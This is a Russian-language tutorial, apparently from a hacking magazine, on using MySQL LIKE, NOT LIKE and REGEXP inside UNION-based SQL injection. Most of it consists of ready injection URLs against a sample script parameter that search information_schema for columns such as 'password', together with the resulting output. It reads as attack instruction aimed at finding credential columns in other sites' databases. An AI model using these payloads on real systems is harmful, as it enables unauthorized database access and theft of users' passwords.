В этом нам помогут
несколько операторов MySQL, а именно: LIKE, NOT
LIKE и REGEXP. Разберем подробнее.

1.
LIKE.

Оператор LIKE проверяет, соответствует ли
возвращаемое значение заданому образцу.
Например:

Структура доступных баз данных

--database site1
---table news
-----collumn id
-----collumn news
---table users
-----collumn login
-----collumn password
--database site2
---table articles
-----collumn id
-----collumn article
---table user
-----collumn username
-----collumn user_passwd

Теперь представим, что перед нами стоит
задача выбрать все базы, таблицы, которые
содержат столбцы с именем ‘*pass*’. Делаем такой
запрос:

select
group_concat(concat_ws(0x3A,table_schema,table_
name,column_name)) from
information_schema.columns where column_name
like+'%pass%'

Или на примере инъекции с выводом в поле №2:

http://site.com/script.php?id=-1+union+select+1,group_
concat(concat_ws(0x3A,table_schema,table_name,column_
name)),3+from+information_schema.columns+where+column_
name+like+'%pass%'--+

Вывод будет следующий:

site1:users:password,
site2:user:user_passwd

Разберемся с образцом %pass% — % (процент)
указывает совпадение с любыми символами, под
этот образец попадают все значения, в которых
присутствует частица ‘pass’ независимо от ее
положения в значении.

2. NOT LIKE.

Оператор NOT LIKE проверяет соответствие
возвращаемому значению заданному образцу. Этот
оператор абсолютно противоположен предыдущему, и
используя предыдущий пример, мы составим запрос:


http://site.com/script.php?id=-1+union+select+1,group_
concat(concat_ ws(0x3A,table_
schema,table_name,column_
name)),3+from+information_schema.
columns+where+column_name+NOT+like+'%pass%'--+

Будет вывод всех доступных баз и таблиц за
исключением следующих site1:users:password,
site2:user:user_passwd

3. REGEXP (или синоним RLIKE).

Оператор REGEXP проверяет, соответствует ли
значение регулярному выражению. Для работы с
этим оператором следует использовать регулярные
значения в стиле POSIX. К примеру, для получения
того же результата, что и с оператором LIKE в
первом примере, составим регулярное выражение
‘(.*)pass(.*)’, запрос примет вид:


http://site.com/script.php?id=-1+union+select+1,2,group_concat(concat_ws(0x3A,table_schema,table_name,column_name)),4+from+information_
schema.columns+where+column_name+rlike+'(.*)
pass(.*)'--+

Такой запрос возвратит site1:users:password,
site2:user:user_passwd

Итак, мы разобрали три оператора на примере
имени столбца, аналогично их можно использовать
в имени таблицы (table_name в базе tables базы
information_schema).

WARNING! Не забывай, что
база information_schema присутствует только в
MySQL версии 5.* и выше.

Оставить мнение

Check Also

Антиотладка. Теория и практика защиты приложений от дебага

К методам детектирования отладки прибегают многие программисты: одни хотели бы уберечь сво…